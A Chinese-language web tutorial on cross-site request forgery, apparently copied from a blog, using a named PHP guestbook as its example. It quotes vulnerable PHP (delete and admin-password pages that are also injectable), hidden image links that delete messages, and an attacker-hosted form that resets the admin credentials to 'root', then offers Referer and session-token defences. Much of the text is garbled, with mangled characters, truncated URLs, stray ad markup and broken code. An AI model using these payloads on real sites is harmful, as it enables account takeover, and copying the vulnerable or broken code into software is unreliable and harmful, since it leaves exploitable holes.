CSRF攻擊是什麼而且如何防止

CSRF(Cross Site Request Forgeries),意爲跨網站請求僞造,也有寫爲XSRF。攻擊者僞造目標用戶的HTTP請求,而後此請求發送到有CSRF漏洞的網站,網站執行此請 求後,引起跨站請求僞造攻擊。攻擊者利用隱蔽的HTTP鏈接,讓目標用戶在不注意的狀況下單擊這個連接,因爲是用戶本身點擊的,而他又是合法用戶擁有合法 權限,因此目標用戶可以在網站內執行特定的HTTP連接,從而達到攻擊者的目的。
例如:某個購物網站購買商品時,採用http://www.shop.com/buy.php?i...,item參數肯定要購買什麼物品,num參數肯定要購買數量,若是攻擊者以隱藏的方式發送給目標用戶連接,那麼若是目標用戶不當心訪問之後,購買的數量就成了1000個
實例
隨緣網絡PHP留言板V1.0
任意刪除留言
//delbook.php 此頁面用於刪除留言
include_once(「dlyz.php」); //dlyz.php用戶驗證權限,當權限是admin的時候方可刪除留言
include_once(「../conn.php」);
$del=$_GET[「del」];
$id=$_GET[「id」];
if ($del==」data」)
{
$ID_Dele= implode(「,」,$_POST[‘adid’]);
$sql=」delete from book where id in (「.$ID_Dele.」)」;
mysql_query($sql);
}
else
{
$sql=」delete from book where id=」.$id; //傳遞要刪除的留言ID
mysql_query($sql);
}
mysql_close($conn);
echo 「」;
echo 「alert(‘刪除成功!’);」;
echo 」 location=’book.php’;」;
echo 「」;
?>
當咱們具備admin權限,提交http://localhost/manage/delbo... 時,就會刪除id爲2的留言
<iframe allowfullscreen=」true」 allowtransparency=」true」 frameborder=」0″ height=」60″ hspace=」0″ id=」aswift_1″ marginheight=」0″ marginwidth=」0″ name=」aswift_1″ scrolling=」no」 style=」margin: 0px; padding: 0px; border-width: 0px; vertical-align: baseline; left: 0px; position: absolute; top: 0px;」 vspace=」0″ width=」468″></iframe>利用方法:
咱們使用普通用戶留言(源代碼方式),內容爲
「delbook.php?id=2」 />
「delbook.php?id=3」 />
「delbook.php?id=4」 />
「delbook.php?id=5」 />
插入4張圖片連接分別刪除4個id留言,而後咱們返回首頁瀏覽看,沒有什麼變化。。圖片顯示不了
如今咱們再用管理員帳號登錄後,來刷新首頁,會發現留言就剩一條,其餘在圖片連接中指定的ID號的留言,所有都被刪除。
攻擊者在留言中插入隱藏的圖片連接,此連接具備刪除留言的做用,而攻擊者本身訪問這些圖片連接的時候,是不具備權限的,因此看不到任何效果,可是當管理員登錄後,查看此留言,就會執行隱藏的連接,而他的權限又是足夠大的,從而這些留言就被刪除了
修改管理員密碼
//pass.php
if($_GET[「act」])
{
$username=$_POST[「username」];
$sh=$_POST[「sh」];
$gg=$_POST[「gg」];
$title=$_POST[「title」];
$copyright=$_POST[「copyright」].」
設計製做:黑客契約安全網」;
$password=md5($_POST[「password」]);
if(emptyempty($_POST[「password」]))
{
$sql=」update gly set username=’」.$username.」’,sh=」.$sh.」,gg=’」.$gg.」’,title=’」.$title.」’,copyright=’」.$copyright.」’ where id=1″;
}
else
{
$sql=」update gly set username=’」.$username.」’,password=’」.$password.」’,sh=」.$sh.」,gg=’」.$gg.」’,title=’」.$title.」’,copyright=’」.$copyright.」’ where id=1″;
}
mysql_query($sql);
mysql_close($conn);
echo 「」;
echo 「alert(‘修改爲功!’);」;
echo 」 location=’pass.php’;」;
echo 「」;
}
這個文件用於修改管理密碼和網站設置的一些信息,咱們能夠直接構造以下表單:
<body>
<form action=」http://localhost/manage/pass....」 method=」post」 name=」form1″ id=」form1″>
<input type=」radio」 value=」1″ name=」sh」>
<input type=」radio」 name=」sh」 checked value=」0″>
<input type=」text」 name=」username」 value=」root」>
<input type=」password」 name=」password」 value=」root」>
<input type=」text」 name=」title」 value=」隨緣網絡PHP留言板V1.0(帶審覈功能)」 >
<textarea name=」gg」 rows=」6″ cols=」80″ >歡迎您安裝使用隨緣網絡PHP留言板V1.0(帶審覈功能)!textarea>
<textarea name=」copyright」 rows=」6″ cols=」80″ >隨緣網絡PHP留言本V1.0 版權全部:廈門隨緣網絡科技 2005-2009<br/>承接網站建設及系統定製 提供優惠主機域名textarea>
form>
body>
存爲attack.html,放到本身網站上http://www.sectop.com/attack....,此頁面訪問後會自動向目標程序的pass.php提交參數,用戶名修改成root,密碼修改成root,而後咱們去留言板發一條留言,隱藏這個連接,管理訪問之後,他的用戶名和密碼所有修改爲了root
防範方法
防範CSRF要比防範其餘攻擊更加困難,由於CSRF的HTTP請求雖然是攻擊者僞造的,可是倒是由目標用戶發出的,通常常見的防範方法有下面幾種:
**一、檢查網頁的來源
二、檢查內置的隱藏變量
三、使用POST,不要使用GET**
檢查網頁來源
在//pass.php頭部加入如下紅色字體代碼,驗證數據提交
if($_GET[「act」])
{
if(isset($_SERVER[「HTTP_REFERER」]))
{
$serverhost = $_SERVER[「SERVER_NAME」];
$strurl = str_replace(「http://」,」」,$_SERVER[「HTTP_REFERER」]);
$strdomain = explode(「/」,$strurl);
$sourcehost = $strdomain[0];
if(strncmp($sourcehost, $serverhost, strlen($serverhost)))
{
unset($_POST);
echo 「」;
echo 「alert(‘數據來源異常!’);」;
echo 」 location=’index.php’;」;
echo 「」;
}
}
$username=$_POST[「username」];
$sh=$_POST[「sh」];
$gg=$_POST[「gg」];
$title=$_POST[「title」];
$copyright=$_POST[「copyright」].」
$password=md5($_POST[「password」]);
if(emptyempty($_POST[「password」]))
{
$sql=」update gly set username=’」.$username.」’,sh=」.$sh.」,gg=’」.$gg.」’,title=’」.$title.」’,copyright=’」.$copyright.」’ where id=1″;
}
else
{
$sql=」update gly set username=’」.$username.」’,password=’」.$password.」’,sh=」.$sh.」,gg=’」.$gg.」’,title=’」.$title.」’,copyright=’」.$copyright.」’ where id=1″;
}
mysql_query($sql);
mysql_close($conn);
echo 「」;
echo 「alert(‘修改爲功!’);」;
echo 」 location=’pass.php’;」;
echo 「」;
}
檢查內置隱藏變量
咱們在表單中內置一個隱藏變量和一個session變量,而後檢查這個隱藏變量和session變量是否相等,以此來判斷是否同一個網頁所調用
php
include_once("dlyz.php");include_once("../conn.php");if($_GET["act"]){if (!isset($_SESSION["post_id"])){// 生成惟一的ID,並使用MD5來加密$post_id = md5(uniqid(rand(), true));// 建立Session變量$_SESSION["post_id"] = $post_id;}// 檢查是否相等if (isset($_SESSION["post_id"])){// 不相等if ($_SESSION["post_id"] != $_POST["post_id"]){// 清除POST變量unset($_POST);echo "<script language=’javascript’>";echo "alert(‘數據來源異常!’);";echo " location=’index.php’;";echo "script>";}}……<input type="reset" name="Submit2" value="重 置"><input type="hidden" name="post_id" value="php echo $_SESSION["post_id"];?>">td>tr>table>form>php}mysql_close($conn);?></body>
</html>
**使用POST,不要使用GET
傳遞表單字段時,必定要是用POST,不要使用GET,處理變量也不要直接使用$_REQUEST**javascript

相關文章
相關標籤/搜索